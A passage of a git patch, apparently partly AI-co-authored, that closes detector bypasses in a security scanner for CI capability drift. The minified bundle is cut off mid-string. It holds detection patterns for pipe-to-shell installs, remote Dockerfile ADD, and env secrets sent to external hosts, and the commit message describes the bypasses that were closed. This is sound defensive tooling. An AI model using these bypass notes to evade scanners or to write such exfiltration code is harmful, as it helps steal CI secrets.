From da042786b6e2d77c3ba9bb7f3e334b3d21089ae8 Mon Sep 17 00:00:00 2001 From: Conal <33135619+Conalh@users.noreply.github.com> Date: Fri, 22 May 2026 16:25:44 -0700 Subject: [PATCH] Close detector bypasses (bracket env, unqualified getenv, custom-shell PR head) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit - JS: addSecretVariable and referencesEnvSecret now match bracket notation (process.env['KEY'] / ["KEY"]) alongside dot notation. An inline `Authorization: Bearer ${process.env['API_TOKEN']}` or a stored `const x = process.env["API_TOKEN"]` referenced later now flag the exfil pattern. - Python: addSecretVariable and referencesPyEnvSecret make the `os.` prefix optional, so `from os import getenv; k = getenv("API_TOKEN")` and `from os import environ; k = environ.get("API_KEY")` are tracked as secret variables and trigger exfil on later external requests. - Workflows: detectPullRequestHeadCheckoutOnTarget no longer requires a structured `ref:`/`repository:` key — any reference to github.event.pull_request.head.{sha,ref,repo.full_name} under a pull_request_target workflow is flagged. Closes a bypass where a custom `run:` step with `git checkout ${{ ... head.sha }}` skipped detection. Subject/message/recommendation updated from "checkout" to "reference" to reflect the broadened semantic; kind preserved for back-compat. Adds 6 tests (70 total, all passing on this branch's baseline). Co-Authored-By: Claude Opus 4.7 --- dist/action-bundle/index.js | 2 +- dist/detectors/js-capability.js | 4 +- dist/detectors/py-capability.js | 6 +-- dist/detectors/workflow-permissions.js | 12 ++--- dist/report.js | 2 +- src/detectors/js-capability.ts | 4 +- src/detectors/py-capability.ts | 6 +-- src/detectors/workflow-permissions.ts | 12 ++--- src/report.ts | 2 +- test/detectors.test.mjs | 72 ++++++++++++++++++++++++-- test/py-capability.test.mjs | 63 ++++++++++++++++++++++ 11 files changed, 156 insertions(+), 29 deletions(-) diff --git a/dist/action-bundle/index.js b/dist/action-bundle/index.js index b2b819c..aeccb4a 100644 --- a/dist/action-bundle/index.js +++ b/dist/action-bundle/index.js @@ -1 +1 @@ -import{createRequire as e}from"module";var t={929:(e,t,n)=>{n.a(e,(async(e,i)=>{try{n.d(t,{g:()=>mainAction});var s=n(455);var r=n.n(s);var o=n(499);var a=n(924);var c=n(665);async function mainAction(e=process.env){const t=getInput(e,"repo")||e.GITHUB_WORKSPACE||process.cwd();const n=await readEvent(e);const i=getInput(e,"base")||getDefaultBase(e,n);const s=getInput(e,"head")||getDefaultHead(e,n);const r=getInput(e,"fail-on")||"none";const l=r.toLowerCase();if(!i||!s){writeError("CapabilityEcho needs base and head refs. Pass base/head inputs or run on pull_request with actions/checkout fetch-depth: 0.");return 2}if(!isRating(l)){writeError(`Invalid fail-on value '${r}'. Use none, low, medium, high, or critical.`);return 2}let u;try{u=await(0,o.X)({mode:"git",repo:t,base:i,head:s})}catch(e){if(e instanceof a.rd){writeError(`CapabilityEcho could not compare base '${e.base}' and head '${e.head}'. Ensure actions/checkout uses fetch-depth: 0, or pass refs that exist in the checkout through the \`base\` and \`head\` inputs.`);return 2}throw e}const f=(0,c.B1)(u,"markdown");const p=(0,c.B1)(u,"json");const d=JSON.stringify({rating:u.rating,hasFindings:u.findingCount>0,findingCount:u.findingCount,changedFileCount:u.changedFileCount,surfaceSummary:u.surfaceSummary,severitySummary:u.severitySummary,capabilitySummary:u.capabilitySummary,topRecommendations:u.topRecommendations});process.stdout.write(f);process.stdout.write((0,c.B1)(u,"github"));await appendIfSet(e.GITHUB_STEP_SUMMARY,f);await writeOutput(e,"rating",u.rating);await writeOutput(e,"has-findings",String(u.findingCount>0));await writeOutput(e,"finding-count",String(u.findingCount));await writeOutput(e,"changed-file-count",String(u.changedFileCount));await writeOutput(e,"surface-summary",JSON.stringify(u.surfaceSummary));await writeOutput(e,"severity-summary",JSON.stringify(u.severitySummary));await writeOutput(e,"capability-summary",JSON.stringify(u.capabilitySummary));await writeOutput(e,"top-recommendations",JSON.stringify(u.topRecommendations));await writeOutput(e,"adoption-evidence",d);await writeOutput(e,"report-markdown",f);await writeOutput(e,"report-json",p);if(c.qs[l]>0&&c.qs[u.rating]>=c.qs[l]){writeError(`CapabilityEcho capability drift rating ${u.rating} meets fail-on threshold ${l}.`);return 1}return 0}function getInput(e,t){const n=e[`INPUT_${t.replace(/ /g,"_").toUpperCase()}`];const i=e[`INPUT_${t.replace(/[- ]/g,"_").toUpperCase()}`];return(n||i||"").trim()}async function readEvent(e){if(!e.GITHUB_EVENT_PATH){return{}}try{const t=await(0,s.readFile)(e.GITHUB_EVENT_PATH,"utf8");const n=JSON.parse(t);return isRecord(n)?n:{}}catch{return{}}}function getDefaultBase(e,t){const n=t.pull_request;if(isRecord(n)&&isRecord(n.base)&&typeof n.base.sha==="string"){return n.base.sha}if(typeof t.before==="string"){return t.before}return e.DEFAULT_BASE||""}function getDefaultHead(e,t){const n=t.pull_request;if(isRecord(n)&&isRecord(n.head)&&typeof n.head.sha==="string"){return n.head.sha}if(typeof t.after==="string"){return t.after}return e.DEFAULT_HEAD||e.GITHUB_SHA||""}async function writeOutput(e,t,n){if(!e.GITHUB_OUTPUT){return}if(n.includes("\n")||n.includes("\r")){const i=outputDelimiter(t,n);const r=n.endsWith("\n")?n:`${n}\n`;await(0,s.appendFile)(e.GITHUB_OUTPUT,`${t}<<${i}\n${r}${i}\n`,"utf8");return}await(0,s.appendFile)(e.GITHUB_OUTPUT,`${t}=${n}\n`,"utf8")}function outputDelimiter(e,t){const n=e.replace(/[^A-Za-z0-9_]+/g,"_");let i=`capabilityecho_${n}_EOF`;let s=1;while(t.includes(i)){i=`capabilityecho_${n}_EOF_${s}`;s+=1}return i}async function appendIfSet(e,t){if(!e){return}await(0,s.appendFile)(e,t,"utf8")}function writeError(e){process.stdout.write(`::error::${escapeMessage(e)}\n`)}function escapeMessage(e){return e.replaceAll("%","%25").replaceAll("\r","%0D").replaceAll("\n","%0A")}function isRating(e){return e==="none"||e==="low"||e==="medium"||e==="high"||e==="critical"}function isRecord(e){return typeof e==="object"&&e!==null&&!Array.isArray(e)}if(process.argv[1]?.endsWith("action.js")){process.exitCode=await mainAction()}i()}catch(l){i(l)}}),1)},499:(t,n,i)=>{i.d(n,{X:()=>runCapabilityDiff});var s=i(431);function detectDockerfileCapability(e){const t=[];for(const n of e){if(!(0,s.pZ)(n.file)||(0,s.w5)(n.content)){continue}t.push(...detectRemoteAdd(n));t.push(...detectPipeToShell(n))}return t}function detectRemoteAdd(e){if(!/^\s*ADD\s+https?:\/\//i.test(e.content)){return[]}return[{kind:"capability_echo.dockerfile_remote_add",surface:"container",severity:"high",file:e.file,line:e.line,subject:"Dockerfile remote ADD",message:"Dockerfile adds remote content during image build, expanding build-time network reach.",recommendation:"Download pinned artifacts with checksum verification, or vendor reviewed files into the repository."}]}function detectPipeToShell(e){if(!/^\s*RUN\b.*(?:curl|wget)[^\n|]*https?:\/\/[^\n|]*\|\s*(?:ba)?sh\b/i.test(e.content)){return[]}return[{kind:"capability_echo.dockerfile_pipe_to_shell",surface:"container",severity:"critical",file:e.file,line:e.line,subject:"Dockerfile pipe-to-shell",message:"Dockerfile downloads remote content and pipes it directly to a shell during image build.",recommendation:"Replace remote pipe-to-shell with pinned, reviewable build steps and checksum verification."}]}function detectJsCapability(e,t={}){const n=[];const i=collectSecretVariables(e,t);for(const t of e){if(!(0,s.Mn)(t.file)||(0,s.w5)(t.content)){continue}const e=(0,s.hl)(t.file);n.push(...detectFetch(t,e));n.push(...detectSecretExfil(t,e,i.get(t.file)??new Set));n.push(...detectSubprocess(t,e));n.push(...detectDynamicEval(t,e))}return n}function collectSecretVariables(e,t){const n=new Map;for(const t of e){if(!(0,s.Mn)(t.file)){continue}addSecretVariable(n,t.file,t.content)}for(const[e,i]of Object.entries(t)){if(!(0,s.Mn)(e)){continue}for(const t of i.split(/\r?\n/)){addSecretVariable(n,e,t)}}return n}function addSecretVariable(e,t,n){const i=n.match(/\b(?:const|let|var)\s+([A-Za-z_$][\w$]*)\s*=\s*process\.env\.[A-Z0-9_]*(?:TOKEN|SECRET|KEY|PASSWORD|CREDENTIAL|AUTH)[A-Z0-9_]*\b/i);if(!i){return}const s=e.get(t)??new Set;s.add(i[1]);e.set(t,s)}function detectFetch(e,t){if(!/(?:fetch\s*\(|axios\.(?:get|post|put|delete|patch|request)\s*\(|got\s*\()/i.test(e.content)){return[]}if(!/(?:https?:\/\/|['"]https?:\/\/)/i.test(e.content)){return[]}if(/(?:fetch\s*\(\s*['"`]\/|axios\.(?:get|post|put|delete|patch|request)\s*\(\s*['"`]\/)/i.test(e.content)){return[]}return[{kind:"capability_echo.external_fetch_added",surface:"source",severity:t?"low":"medium",file:e.file,line:e.line,subject:"External network fetch",message:"Added code performs an external HTTP request that expands network reach.",recommendation:"Review the endpoint, data sent, and whether the request belongs in this change."}]}function detectSecretExfil(e,t,n){if(!isExternalHttpRequest(e.content)||!referencesEnvSecret(e.content)&&!referencesSecretVariable(e.content,n)){return[]}return[{kind:"capability_echo.source_secret_exfil_pattern",surface:"source",severity:t?"medium":"high",file:e.file,line:e.line,subject:"Source secret exfiltration pattern",message:"Added source code sends environment-secret-shaped data to an external endpoint.",recommendation:"Do not send env secrets to external services unless the endpoint and payload are explicitly required."}]}function isExternalHttpRequest(e){return/(?:fetch\s*\(|axios\.(?:get|post|put|delete|patch|request)\s*\(|got\s*\()/i.test(e)&&/(?:https?:\/\/|['"]https?:\/\/)/i.test(e)}function referencesEnvSecret(e){return/\bprocess\.env\.[A-Z0-9_]*(?:TOKEN|SECRET|KEY|PASSWORD|CREDENTIAL|AUTH)[A-Z0-9_]*\b/i.test(e)}function referencesSecretVariable(e,t){return[...t].some((t=>new RegExp(String.raw`\b${escapeRegExp(t)}\b`).test(e)))}function escapeRegExp(e){return e.replace(/[.*+?^${}()|[\]\\]/g,"\\$&")}function detectSubprocess(e,t){if(!/(?:child_process|execSync\s*\(|exec\s*\(|spawnSync\s*\(|spawn\s*\(|Bun\.spawn\s*\()/i.test(e.content)){return[]}return[{kind:"capability_echo.subprocess_spawn_added",surface:"source",severity:t?"low":"high",file:e.file,line:e.line,subject:"Subprocess spawn",message:"Added code can spawn shell commands or subprocesses.",recommendation:"Confirm the command source is trusted and scoped to the task."}]}function detectDynamicEval(e,t){if(!/(?:\beval\s*\(|new\s+Function\s*\(|vm\.runInNewContext\s*\()/i.test(e.content)){return[]}return[{kind:"capability_echo.dynamic_eval_added",surface:"source",severity:t?"medium":"critical",file:e.file,line:e.line,subject:"Dynamic code execution",message:"Added code can evaluate dynamic JavaScript at runtime.",recommendation:"Avoid eval-style execution unless strictly required and heavily constrained."}]}var r=i(455);var o=i(760);const a=e(import.meta.url)("node:crypto");const c=null&&["low","medium","high","critical"];const l=null&&["scope_trail","policy_mesh","capability_echo","task_bound","session_trail"];function isSeverity(e){return typeof e==="string"&&c.includes(e)}function isToolKind(e){return typeof e==="string"&&l.includes(e)}function kind(e,t){if(!/^[a-z0-9_]+$/.test(t)){throw new Error(`agent-gov-core/kind: name '${t}' must match [a-z0-9_]+ (kebab, camelCase, and dots are rejected)`)}return`${e}.${t}`}const u=/^(scope_trail|policy_mesh|capability_echo|task_bound|session_trail)\.[a-z0-9_]+$/;function isNamespacedKind(e){return typeof e==="string"&&u.test(e)}function createFinding(e){const t={tool:e.tool,kind:kind(e.tool,e.name),severity:e.severity,message:e.message};if(e.detail!==undefined)t.detail=e.detail;if(e.location!==undefined)t.location=e.location;if(e.salientKey!==undefined)t.salientKey=e.salientKey;if(e.data!==undefined)t.data=e.data;t.fingerprint=e.fingerprint??fingerprintFinding(t);return t}function fingerprintFinding(e){const t=e.location?.file?.replace(/\\/g,"/")??"";const n=[e.kind,t,e.location?.line??"",e.location?.column??""];if(e.salientKey!==undefined){n.push(e.salientKey)}return createHash("sha256").update(n.join("|")).digest("hex").slice(0,16)}const f=new Set(["tool","kind","severity","message","detail","location","fingerprint","salientKey","data"]);const p=new Set(["file","line","column","endLine","endColumn"]);function validateFinding(e){const t=[];if(e===null||typeof e!=="object"||Array.isArray(e)){return{ok:false,errors:["finding must be a plain object"]}}const n=e;if(!isToolKind(n.tool))t.push(`tool must be one of: ${l.join(", ")}`);if(!isNamespacedKind(n.kind))t.push("kind must match '.' (e.g. 'scope_trail.permission_allow_widened')");if(!isSeverity(n.severity))t.push(`severity must be one of: ${c.join(", ")}`);if(typeof n.message!=="string"||n.message.length===0)t.push("message must be a non-empty string");if(isToolKind(n.tool)&&isNamespacedKind(n.kind)&&!n.kind.startsWith(`${n.tool}.`)){t.push(`kind '${n.kind}' must start with tool '${n.tool}.'`)}if(n.detail!==undefined&&typeof n.detail!=="string"){t.push("detail must be a string when present")}if(n.fingerprint!==undefined&&typeof n.fingerprint!=="string"){t.push("fingerprint must be a string when present")}if(n.salientKey!==undefined&&typeof n.salientKey!=="string"){t.push("salientKey must be a string when present")}if(n.data!==undefined&&(n.data===null||typeof n.data!=="object"||Array.isArray(n.data))){t.push("data must be an object when present")}if(n.location!==undefined){t.push(...validateLocation(n.location))}for(const e of Object.keys(n)){if(!f.has(e))t.push(`unknown property: ${e}`)}return{ok:t.length===0,errors:t}}function validateLocation(e){const t=[];if(e===null||typeof e!=="object"||Array.isArray(e)){return["location must be an object when present"]}const n=e;if(typeof n.file!=="string"||n.file.length===0){t.push("location.file must be a non-empty string")}for(const e of["line","column","endLine","endColumn"]){if(n[e]!==undefined){const i=n[e];if(typeof i!=="number"||!Number.isInteger(i)||i<1){t.push(`location.${e} must be a positive integer when present`)}}}for(const e of Object.keys(n)){if(!p.has(e))t.push(`unknown location property: ${e}`)}return t}const d=e(import.meta.url)("node:fs");class ConfigParseError extends Error{line;column;rawOffset;constructor(e,t){super(e);this.name="ConfigParseError";this.line=t.line;this.column=t.column;this.rawOffset=t.rawOffset;if(t.cause){this.cause=t.cause}}}function lineColumnOfOffset(e,t){const n=Math.max(0,Math.min(t,e.length));let i=1;let s=1;for(let t=0;t=this.len)break;const e=this.src[this.pos];if(e==="#"){this.skipComment();continue}if(e==="["){if(this.src[this.pos+1]==="["){this.parseArrayOfTablesHeader()}else{this.parseTableHeader()}continue}this.parseKeyValue(this.current)}return this.root}skipWhitespaceAndNewlines(){while(this.pos=this.len)return;const e=this.src[this.pos];if(e==="#"){this.skipComment();return}if(e==="\n"||e==="\r")return;throw new Error(`Unexpected character ${JSON.stringify(e)} at offset ${this.pos}; expected end of line`)}parseTableHeader(){this.pos++;this.skipInlineWhitespace();const e=this.parseKeyChain();this.skipInlineWhitespace();if(this.src[this.pos]!=="]"){throw new Error(`Expected ']' at offset ${this.pos}`)}this.pos++;this.expectLineEnd();const t=e.join(this.PATH_KEY_SEPARATOR);if(this.aotPaths.has(t)){throw new Error(`Cannot redefine array-of-tables [[${e.join(".")}]] as a standard table [${e.join(".")}] at offset ${this.pos}`)}const n=this.descendTablePath(e,true);if(this.definedTables.has(t)){throw new Error(`Duplicate table definition: [${e.join(".")}] at offset ${this.pos}`)}this.definedTables.add(t);this.current=n}parseArrayOfTablesHeader(){this.pos+=2;this.skipInlineWhitespace();const e=this.parseKeyChain();this.skipInlineWhitespace();if(this.src[this.pos]!=="]"||this.src[this.pos+1]!=="]"){throw new Error(`Expected ']]' at offset ${this.pos}`)}this.pos+=2;this.expectLineEnd();const t=this.descendTablePath(e.slice(0,-1),true);const n=e[e.length-1];let i=t[n];if(i===undefined){i=[];t[n]=i;this.aotPaths.add(e.join(this.PATH_KEY_SEPARATOR))}else if(!Array.isArray(i)){throw new Error(`Key ${e.join(".")} is not an array-of-tables`)}const s=e.join(this.PATH_KEY_SEPARATOR)+this.PATH_KEY_SEPARATOR;for(const e of this.definedTables){if(e.startsWith(s)){this.definedTables.delete(e)}}const r={};i.push(r);this.current=r}descendTablePath(e,t){let n=this.root;for(let t=0;te===i[t]));if(!f)continue;const p=i.slice(o.length);if(p.length===0)continue;const d=p.map(escapeForRegex).join("\\s*\\.\\s*");const h=new RegExp(`^\\s*${d}\\s*=`);if(h.test(n))return t;if(p.length===1){const e=p[0];const i=new RegExp(`^\\s*(?:${escapeForRegex(e)}|"${escapeForRegex(e)}"|'${escapeForRegex(e)}')\\s*(?:\\.|=)`);if(i.test(n))return t}}return 0}function updateMultilineStringState(e,t){let n=t;let i=0;while(itrue;const n=lineOfOffset(e,t.start);const i=lineOfOffset(e,Math.max(t.start,t.end-1));return e=>e>=n&&e<=i}function findLineByRegex(e,t,n){const i=stripJsonComments(e);const s=n?i.slice(n.start,n.end):i;const r=t.exec(s);if(!r)return 0;const o=(n?n.start:0)+r.index;return lineOfOffset(e,o)}function lineOfOffset(e,t){let n=1;for(let i=0;i=i)break;const s=e[n];if(s==='"'){n++;const s=n;while(n`${e}=${t}`)).sort();t.push(`env=${n.join("|")}`)}return t.join("\n")}function normalizeExecutable(e){const t=e.trim();const n=t.replace(/\\/g,"/");const i=/\.(cmd|exe|bat|ps1)$/i.test(n);const s=n.replace(/\.(cmd|exe|bat|ps1)$/i,"");const r=i||t.includes("\\");const o=r?s.toLowerCase():s;const a=o.split("/").pop()??o;if(g.has(a.toLowerCase())){return r?a.toLowerCase():a}return o}const g=new Set(["node","npx","npm","pnpm","yarn","python","python3","pip","pip3","pipx","uvx","uv","ruby","gem","bundle","perl","cpan","bash","sh","zsh","fish","powershell","pwsh","deno","bun","tsx","ts-node"]);function normalizePath(e){return e.trim().replace(/\\/g,"/").replace(/\/+$/,"")}const w=new Set(["-y","--yes"]);const y=new Set(["-v","-V","-q","-h","-d","--verbose","--quiet","--silent","--debug","--help","--version","--force","--dry-run","--no-cache","--no-color","--no-progress","--json"]);function canonicalizeArgs(e){const t=e.filter((e=>!w.has(e)));const n=[];const i=[];let s=false;let r=0;for(let e=0;eet?1:0));const o=[...n];for(const[e,t]of i){if(e.startsWith("__pos_")){o.push(e.slice(e.indexOf("__",6)+2))}else if(t===null){o.push(e)}else{o.push(`${e}=${t}`)}}return o}const b={low:1,medium:2,high:3,critical:4};function rankSeverity(e){return b[e]}function passesSeverityThreshold(e,t){return rankSeverity(e)>=rankSeverity(t)}function anyAtOrAbove(e,t){for(const n of e){if(passesSeverityThreshold(n.severity,t))return true}return false}function emitFindingAnnotation(e){const t=e.severity==="critical"||e.severity==="high"?"error":"warning";const n=[];if(e.location?.file)n.push(`file=${escapeProperty(e.location.file)}`);if(e.location?.line!=null)n.push(`line=${e.location.line}`);if(e.location?.column!=null)n.push(`col=${e.location.column}`);if(e.location?.endLine!=null)n.push(`endLine=${e.location.endLine}`);if(e.location?.endColumn!=null)n.push(`endColumn=${e.location.endColumn}`);n.push(`title=${escapeProperty(`[${e.kind}] ${e.severity}`)}`);const i=escapeData(e.message);return`::${t} ${n.join(",")}::${i}`}function escapeData(e){return e.replace(/%/g,"%25").replace(/\r/g,"%0D").replace(/\n/g,"%0A")}function escapeProperty(e){return e.replace(/%/g,"%25").replace(/\r/g,"%0D").replace(/\n/g,"%0A").replace(/:/g,"%3A").replace(/,/g,"%2C")}function generateWorkflowSummary(e,t={}){const n=t.title??"Findings";const i=t.perSeverityLimit??100;const s=t.messageMaxLength??200;if(e.length===0){return`# ${n}\n\nNo findings.\n`}const r={critical:[],high:[],medium:[],low:[]};for(const t of e)r[t.severity].push(t);const o={critical:r.critical.length,high:r.high.length,medium:r.medium.length,low:r.low.length};const a=[];a.push(`# ${n}`,"");a.push(`**Total**: ${e.length} finding${e.length===1?"":"s"} — `+`${o.critical} critical, ${o.high} high, `+`${o.medium} medium, ${o.low} low`);a.push("");const c=["critical","high","medium","low"];for(const e of c){const t=r[e];if(t.length===0)continue;const n=t.slice(0,i);const o=t.length-n.length;a.push(``);a.push(`${t.length} ${e}`);a.push("");a.push("| File | Line | Kind | Message |");a.push("|------|------|------|---------|");for(const e of n){a.push("| "+[escapeMarkdownTableCell(e.location?.file??"—"),e.location?.line??"—",escapeMarkdownTableCell(e.kind),escapeMarkdownTableCell(truncate(e.message,s))].join(" | ")+" |")}if(o>0){a.push(`| _(+${o} more ${e} finding${o===1?"":"s"})_ | | | |`)}a.push("");a.push("");a.push("")}return a.join("\n")}function truncate(e,t){if(e.length<=t)return e;return e.slice(0,Math.max(1,t-1))+"…"}function escapeMarkdownTableCell(e){return String(e).replace(/&/g,"&").replace(//g,">").replace(/\|/g,"\\|").replace(/\r?\n/g," ")}async function readJsonObject(e){return(await discovery_readJsonObjectWithSource(e)).json}async function discovery_readJsonObjectWithSource(e){try{const t=await readFile(e,"utf8");const n=JSON.parse(t);return{json:isRecord(n)?n:{},text:t}}catch(e){if(isNodeError(e)&&e.code==="ENOENT"){return{json:{},text:""}}throw e}}function configPath(e,t){return(0,o.join)(e,t)}function isRecord(e){return typeof e==="object"&&e!==null&&!Array.isArray(e)}function discovery_lineOfJsonKey(e,t){const n=lineOfJsonKey(e,t);return n===0?undefined:n}function discovery_lineOfJsonStringValue(e,t){const n=lineOfJsonStringValue(e,t);return n===0?undefined:n}function isNodeError(e){return e instanceof Error&&"code"in e}var _=i(924);const k=["postinstall","preinstall","prepare","install"];async function detectPackageScripts(e){const t=e.mode==="directories"?await(0,_.kf)(e.newRoot):await listChangedPackageJsonFiles(e.repo,e.base,e.head);const n=[];for(const i of t){const t=await readScriptsAt(e,i,"old");const s=await readScriptsAt(e,i,"new");const r=await readPackageTextAt(e,i,"new");n.push(...compareScripts(i,t,s,r))}return n}async function listChangedPackageJsonFiles(e,t,n){return(await(0,_.Eh)(e,t,n)).filter(s.xr)}async function readScriptsAt(e,t,n){const i=await readPackageTextAt(e,t,n);if(!i){return{}}try{const e=JSON.parse(i);if(!isRecord(e)||!isRecord(e.scripts)){return{}}const t={};for(const[n,i]of Object.entries(e.scripts)){if(typeof i==="string"){t[n]=i}}return t}catch{return{}}}async function readPackageTextAt(e,t,n){if(e.mode==="directories"){const i=n==="old"?e.oldRoot:e.newRoot;try{return await(0,r.readFile)(configPath(i,t),"utf8")}catch{return""}}const i=n==="old"?e.base:e.head;return await(0,_.p9)(e.repo,i,t)??""}function compareScripts(e,t,n,i){const s=[];for(const r of k){const o=n[r];if(!o){continue}const a=t[r];if(a===o){continue}const c=discovery_lineOfJsonKey(i,r)??discovery_lineOfJsonStringValue(i,o);s.push({kind:"capability_echo.lifecycle_script_added",surface:"package",severity:"high",file:e,line:c,subject:`package.json ${r} script`,message:`Added or changed npm ${r} lifecycle script.`,recommendation:"Review lifecycle scripts carefully; they run automatically on install."});s.push(...analyzeScriptContent(e,r,o,i))}for(const[r,o]of Object.entries(n)){if(k.includes(r)){continue}const n=t[r];if(n===o){continue}s.push(...analyzeScriptContent(e,r,o,i))}return s}function analyzeScriptContent(e,t,n,i){const s=[];const r=discovery_lineOfJsonStringValue(i,n)??discovery_lineOfJsonKey(i,t);if(/(?:curl[^\n|]*\|\s*(?:ba)?sh|wget[^\n|]*\|\s*sh|Invoke-Expression|iex\s*\()/i.test(n)){s.push({kind:"capability_echo.script_pipe_to_shell",surface:"package",severity:"critical",file:e,line:r,subject:`package.json ${t} pipe-to-shell`,message:"Script downloads and pipes content directly into a shell.",recommendation:"Replace remote pipe-to-shell patterns with pinned, reviewable install steps."})}if(/\b(curl|wget|npm publish)\b/i.test(n)||/\bnpx\b(?![^\s]*@\d+\.\d+\.\d+)/i.test(n)){s.push({kind:"capability_echo.script_network_command",surface:"package",severity:"medium",file:e,line:r,subject:`package.json ${t} network command`,message:"Script performs a network or publish command.",recommendation:"Pin package versions and verify remote commands before merge."})}return s}const v=new Set(["puppeteer","puppeteer-core","playwright","playwright-core","cypress","webdriverio","selenium-webdriver","nightwatch","execa","cross-spawn","node-pty","shelljs","zx","tinyspawn","node-fetch","undici","got","axios","request","superagent","vm2","isolated-vm","socks-proxy-agent","https-proxy-agent","ssh2","node-ssh"]);const S=new Set(["@segment/analytics-node","mixpanel","amplitude-js","posthog-js","@sentry/node","@sentry/browser"]);const E=["dependencies","devDependencies","optionalDependencies","peerDependencies"];async function detectPackageDeps(e){const t=e.mode==="directories"?await(0,_.kf)(e.newRoot):await listChangedPackageJsonFiles(e.repo,e.base,e.head);const n=[];for(const i of t){const t=await readPackageTextAt(e,i,"old");const s=await readPackageTextAt(e,i,"new");n.push(...compareDeps(i,t,s))}return n}function compareDeps(e,t,n){const i=readAllDeps(t);const s=readAllDeps(n);const r=[];for(const[t,o]of s.entries()){if(i.has(t)){continue}if(v.has(t)){r.push({kind:"capability_echo.high_capability_dep_added",surface:"package",severity:"high",file:e,line:discovery_lineOfJsonStringValue(n,o)??discovery_lineOfJsonKey(n,t),subject:t,message:`Added dependency "${t}" can reach the network, spawn subprocesses, or evaluate code.`,recommendation:"Confirm this dependency is required for the stated change and that its usage is scoped."});continue}if(S.has(t)){r.push({kind:"capability_echo.telemetry_dep_added",surface:"package",severity:"medium",file:e,line:discovery_lineOfJsonStringValue(n,o)??discovery_lineOfJsonKey(n,t),subject:t,message:`Added telemetry/analytics dependency "${t}" — ships an outbound network surface by default.`,recommendation:"Verify the telemetry destination, payload, and opt-out posture."})}}return r}function readAllDeps(e){const t=new Map;if(!e.trim()){return t}let n;try{n=JSON.parse(e)}catch{return t}if(!isRecord(n)){return t}for(const e of E){const i=n[e];if(!isRecord(i)){continue}for(const[e,n]of Object.entries(i)){if(typeof n==="string"){t.set(e,n)}}}return t}function detectPyCapability(e,t={}){const n=[];const i=py_capability_collectSecretVariables(e,t);for(const t of e){if(!(0,s.UD)(t.file)||(0,s.w5)(t.content)){continue}const e=(0,s.hl)(t.file);n.push(...detectPyNetwork(t,e));n.push(...detectPySecretExfil(t,e,i.get(t.file)??new Set));n.push(...detectPySubprocess(t,e));n.push(...detectPyDynamicExec(t,e));n.push(...detectPyUnsafeDeserialize(t,e))}return n}function py_capability_collectSecretVariables(e,t){const n=new Map;for(const t of e){if(!(0,s.UD)(t.file)){continue}py_capability_addSecretVariable(n,t.file,t.content)}for(const[e,i]of Object.entries(t)){if(!(0,s.UD)(e)){continue}for(const t of i.split(/\r?\n/)){py_capability_addSecretVariable(n,e,t)}}return n}function py_capability_addSecretVariable(e,t,n){const i=n.match(/^\s*([A-Za-z_][A-Za-z0-9_]*)\s*=\s*(?:os\.environ\s*(?:\[\s*['"][A-Z0-9_]*(?:TOKEN|SECRET|KEY|PASSWORD|CREDENTIAL|AUTH)[A-Z0-9_]*['"]\s*\]|\.get\s*\(\s*['"][A-Z0-9_]*(?:TOKEN|SECRET|KEY|PASSWORD|CREDENTIAL|AUTH)[A-Z0-9_]*['"])|os\.getenv\s*\(\s*['"][A-Z0-9_]*(?:TOKEN|SECRET|KEY|PASSWORD|CREDENTIAL|AUTH)[A-Z0-9_]*['"])/i);if(!i){return}const s=e.get(t)??new Set;s.add(i[1]);e.set(t,s)}function detectPyNetwork(e,t){const n=/\b(?:requests|httpx)\.(?:get|post|put|delete|patch|head|options|request)\s*\(|\burllib(?:2)?\.(?:request\.)?urlopen\s*\(|\burlopen\s*\(|\burllib\.request\.urlretrieve\s*\(|\baiohttp\.ClientSession\s*\(/i;if(!n.test(e.content)){return[]}if(!/(?:https?:\/\/|['"]https?:\/\/)/i.test(e.content)){return[]}return[{kind:"capability_echo.external_fetch_added",surface:"source",severity:t?"low":"medium",file:e.file,line:e.line,subject:"External network call (Python)",message:"Added Python performs an external HTTP request that expands network reach.",recommendation:"Review the endpoint, request payload, and whether the call belongs in this change."}]}function detectPySecretExfil(e,t,n){if(!isPyExternalRequest(e.content)||!referencesPyEnvSecret(e.content)&&!py_capability_referencesSecretVariable(e.content,n)){return[]}return[{kind:"capability_echo.source_secret_exfil_pattern",surface:"source",severity:t?"medium":"high",file:e.file,line:e.line,subject:"Source secret exfiltration pattern (Python)",message:"Added Python sends environment-secret-shaped data to an external endpoint.",recommendation:"Do not send env secrets to external services unless the endpoint and payload are explicitly required."}]}function isPyExternalRequest(e){return/\b(?:requests|httpx)\.(?:get|post|put|delete|patch|head|options|request)\s*\(|\burllib(?:2)?\.(?:request\.)?urlopen\s*\(|\burlopen\s*\(|\burllib\.request\.urlretrieve\s*\(|\baiohttp\.ClientSession\s*\(/i.test(e)&&/(?:https?:\/\/|['"]https?:\/\/)/i.test(e)}function referencesPyEnvSecret(e){return/\bos\.environ\s*(?:\[\s*['"][A-Z0-9_]*(?:TOKEN|SECRET|KEY|PASSWORD|CREDENTIAL|AUTH)[A-Z0-9_]*['"]\s*\]|\.get\s*\(\s*['"][A-Z0-9_]*(?:TOKEN|SECRET|KEY|PASSWORD|CREDENTIAL|AUTH)[A-Z0-9_]*['"])/i.test(e)||/\bos\.getenv\s*\(\s*['"][A-Z0-9_]*(?:TOKEN|SECRET|KEY|PASSWORD|CREDENTIAL|AUTH)[A-Z0-9_]*['"]/i.test(e)}function py_capability_referencesSecretVariable(e,t){return[...t].some((t=>new RegExp(String.raw`\b${py_capability_escapeRegExp(t)}\b`).test(e)))}function py_capability_escapeRegExp(e){return e.replace(/[.*+?^${}()|[\]\\]/g,"\\$&")}function detectPySubprocess(e,t){const n=/\bsubprocess\.(?:run|call|Popen|check_call|check_output|getoutput|getstatusoutput)\s*\(|\bos\.(?:system|popen|execv\w*|spawnv?\w*)\s*\(|\bcommands\.getoutput\s*\(|\bpty\.spawn\s*\(/i;if(!n.test(e.content)){return[]}return[{kind:"capability_echo.subprocess_spawn_added",surface:"source",severity:t?"low":"high",file:e.file,line:e.line,subject:"Subprocess spawn (Python)",message:"Added Python can spawn shell commands or subprocesses.",recommendation:"Confirm the command source is trusted and scoped to the task."}]}function detectPyDynamicExec(e,t){const n=/\beval\s*\(|\bexec\s*\(|\bcompile\s*\(|\b__import__\s*\(|\bimportlib\.import_module\s*\(/i;if(!n.test(e.content)){return[]}return[{kind:"capability_echo.dynamic_eval_added",surface:"source",severity:t?"medium":"critical",file:e.file,line:e.line,subject:"Dynamic code execution (Python)",message:"Added Python can evaluate dynamic code or import modules by 